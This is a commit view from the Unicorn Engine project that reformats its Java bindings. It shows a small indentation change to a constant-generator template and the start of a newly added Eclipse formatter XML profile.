Reformat Java bindings.

This commit is contained in:
Robert Xiao
2023-05-05 14:32:56 -07:00
parent c5ae96536b
commit 9cdb5cb745
38 changed files with 7217 additions and 6540 deletions

View File

@@ -72,7 +72,7 @@ template = {
'java': {
'header': "// For Unicorn Engine. AUTO-GENERATED FILE, DO NOT EDIT\n\npackage unicorn;\n\npublic interface %sConst {\n",
'footer': "\n}\n",
'line_format': ' public static final int UC_%s = %s;\n',
'line_format': ' public static final int UC_%s = %s;\n',
'out_file': './java/unicorn/%sConst.java',
# prefixes for constant filenames of all archs - case sensitive
'arm.h': 'Arm',
@@ -86,7 +86,7 @@ template = {
's390x.h' : 'S390x',
'tricore.h' : 'TriCore',
'unicorn.h': 'Unicorn',
'comment_open': '//',
'comment_open': ' //',
'comment_close': '',
},
'dotnet': {

View File

@@ -0,0 +1,399 @@
<?xml version="1.0" encoding="UTF-8" standalone="no"?>
<profiles version="22">
<profile kind="CodeFormatterProfile" name="EclipseFormatter" version="22">
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_ellipsis" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_enum_declarations" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_allocation_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_for_statment" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.comment.new_lines_at_block_boundaries" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_constructor_declaration_parameters" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.insert_new_line_for_parameter" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_package" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_parens_in_enum_constant" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_while" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_parens_in_annotation_type_member_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_javadoc_comments" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.indentation.size" value="4"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_enum_constant_declaration" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_semicolon_in_for" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.align_with_spaces" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.continuation_indentation" value="2"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_before_code_block" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_switch_case_expressions" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_after_package" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_multiple_local_declarations" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_enum_constant" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.indent_root_tags" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_or_operator_multicatch" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.enabling_tag" value="@formatter:on"/>
<setting id="org.eclipse.jdt.core.formatter.comment.count_line_length_from_starting_position" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_record_components" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_throws_clause_in_method_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_parameter" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_multiplicative_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.keep_then_statement_on_same_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_explicitconstructorcall_arguments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_prefix_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_brace_in_array_initializer" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_angle_bracket_in_type_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_method" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_parameterized_type_references" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_logical_operator" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_annotation_declaration_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_record_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_enum_constant" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_multiplicative_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_and_in_type_parameter" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_parens_in_method_invocation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_assignment_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_type_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_for" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.preserve_white_space_between_code_and_line_comments" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_local_variable" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_abstract_method" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.keep_enum_constant_declaration_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.align_variable_declarations_on_columns" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_method_invocation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_union_type_in_multicatch" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_at_beginning_of_method_body" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.keep_else_statement_on_same_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_catch_clause" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_parameterized_type_reference" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_array_initializer" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_explicit_constructor_call" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_multiplicative_operator" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.keep_anonymous_type_declaration_on_one_line" value="one_line_if_empty"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_switch_case_expressions" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_shift_operator" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.indent_body_declarations_compare_to_annotation_declaration_header" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_block" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_at_end_of_code_block" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_bitwise_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.put_empty_statement_on_new_line" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_parameters_in_constructor_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_type_parameters" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_compact_loops" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.comment.clear_blank_lines_in_block_comment" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.keep_simple_for_body_on_same_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_at_end_of_file_if_missing" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_switch_case_arrow_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_array_initializer" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_unary_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.format_line_comment_starting_on_first_column" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_annotation" value="separate_lines_if_wrapped"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_ellipsis" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_semicolon_in_try_resources" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_assert" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_enum_constant" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_and_in_type_parameter" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.text_block_indentation" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.align_type_members_on_columns" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_assignment" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_module_statements" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.indent_body_declarations_compare_to_type_header" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_parens_in_method_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.align_tags_names_descriptions" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_enum_constant" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_if_then_body_block_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_first_class_body_declaration" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_before_closing_brace_in_array_initializer" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_constructor_declaration_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.format_guardian_clause_on_one_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_if" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.align_assignment_statements_on_columns" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_permitted_types" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_block_in_case" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_constructor_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_conditional_expression_chain" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_header" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_type_annotations" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_allocation_expression" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_assertion_message_operator" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_switch" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_method_declaration" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.align_fields_grouping_blank_lines" value="2147483647"/>
<setting id="org.eclipse.jdt.core.formatter.comment.new_lines_at_javadoc_boundaries" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_bitwise_operator" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_annotation_type_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_for" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_resources_in_try" value="80"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_selector_in_method_invocation" value="80"/>
<setting id="org.eclipse.jdt.core.formatter.never_indent_block_comments_on_first_column" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_synchronized" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_allocation_expression" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_source_code" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_array_initializer" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_field" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_at_in_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_method" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_superclass_in_type_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_parenthesized_expression_in_throw" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_not_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_type_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_brace_in_array_initializer" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_parenthesized_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_html" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_at_in_annotation_type_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_method_delcaration" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_compact_if" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.indent_empty_lines" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_type_arguments" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_unary_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_enum_constant" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_annotation" value="52"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_enum_declarations" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_package" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.indent_switchstatements_compare_to_switch" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_before_else_in_if_statement" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_assignment_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_label" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.indent_body_declarations_compare_to_enum_declaration_header" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_conditional" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_method_declaration_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_cast" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_arrow_in_switch_case" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_before_while_in_do_statement" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_bracket_in_array_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.indent_body_declarations_compare_to_record_header" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_angle_bracket_in_parameterized_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_opening_brace_in_array_initializer" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.indent_breaks_compare_to_cases" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_method_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_bitwise_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_try" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_lambda_arrow" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_method_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.indent_tag_description" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.keep_imple_if_on_one_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_record_constructor" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_enum_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_brackets_in_array_type_reference" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_string_concatenation" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_semicolon_in_for" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_bracket_in_array_allocation_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_multiple_fields" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_enum_constant_arguments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_prefix_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_array_initializer" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_shift_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_method_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_type_parameters" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_catch" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_shift_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_braces_in_array_initializer" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_multiple_local_declarations" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_simple_do_while_body_on_same_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_annotation_type_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_record_components" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_outer_expressions_when_nested" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_closing_paren_in_cast" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_synchronized" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_annotation_type_member_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_expressions_in_for_loop_header" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_additive_operator" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.keep_simple_getter_setter_on_one_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_while" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_angle_bracket_in_type_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_string_concatenation" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_lambda_arrow" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.join_lines_in_comments" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_record_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_relational_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_multiple_field_declarations" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_between_import_groups" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_at_in_annotation_type_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_logical_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_method_invocation" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_after_imports" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.comment.insert_new_line_before_root_tags" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_record_declaration" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_method_declaration_throws" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_switch_statement" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_postfix_operator" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_for_increments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_type_arguments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_arrow_in_switch_default" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_for_inits" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.disabling_tag" value="@formatter:off"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_enum_constants" value="48"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_before_imports" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_at_end_of_method_body" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.parentheses_positions_in_if_while_statement" value="common_lines"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_closing_brace_in_block" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_parenthesized_expression_in_return" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_arrow_in_switch_case" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_field" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.blank_lines_between_type_declarations" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.keep_switch_body_block_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_for" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_catch" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_switch" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_anonymous_type_declaration" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.never_indent_line_comments_on_first_column" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_for_inits" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.indent_statements_compare_to_block" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_anonymous_type_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_question_in_wildcard" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_annotation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_method_invocation_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_expressions_in_switch_case_with_arrow" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_switch" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.align_tags_descriptions_grouped" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.comment.line_length" value="80"/>
<setting id="org.eclipse.jdt.core.formatter.use_on_off_tags" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.keep_method_body_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_brackets_in_array_allocation_expression" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_loop_body_block_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_enum_constant" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_method_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_for" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_type_declaration_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_closing_angle_bracket_in_type_arguments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_additive_operator" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_multiple_field_declarations" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_record_constructor" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_relational_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_superinterfaces" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_record_declaration_on_one_line" value="one_line_if_empty"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_colon_in_default" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_question_in_conditional" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_constructor_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_lambda_body" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.compact_else_if" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_type_parameters" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_catch" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_method_invocation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_comma_in_method_invocation_arguments" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_arguments_in_method_invocation" value="20"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_throws_clause_in_constructor_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_before_catch_in_try_statement" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_try" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_parameter" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.comment.clear_blank_lines_in_javadoc_comment" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_relational_operator" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_expressions_in_array_initializer" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_empty_lines_to_preserve" value="1"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_case" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_additive_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_closing_paren_in_if" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_comma_in_type_arguments" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_string_concatenation" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.format_line_comments" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.align_selector_in_method_invocation_on_expression_first_line" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_record_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_colon_in_labeled_statement" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.keep_switch_case_with_arrow_on_one_line" value="one_line_never"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_expressions_in_switch_case_with_colon" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.number_of_blank_lines_after_code_block" value="0"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_superinterfaces_in_type_declaration" value="16"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_conditional_expression" value="80"/>
<setting id="org.eclipse.jdt.core.formatter.insert_new_line_after_annotation_on_type" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_type" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_brace_in_block" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_local_variable" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.brace_position_for_enum_declaration" value="end_of_line"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_arrow_in_switch_default" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.comment.insert_new_line_between_different_tags" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_additive_operator" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_after_opening_paren_in_method_invocation" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_before_opening_paren_in_while" value="insert"/>
<setting id="org.eclipse.jdt.core.formatter.join_wrapped_lines" value="false"/>
<setting id="org.eclipse.jdt.core.formatter.insert_space_between_empty_parens_in_constructor_declaration" value="do not insert"/>
<setting id="org.eclipse.jdt.core.formatter.alignment_for_annotations_on_field" value="49"/>
<setting id="org.eclipse.jdt.core.formatter.wrap_before_conditional_operator" value="true"/>
<setting id="org.eclipse.jdt.core.formatter.indent_switchstatements_compare_to_cases" value="true"/>
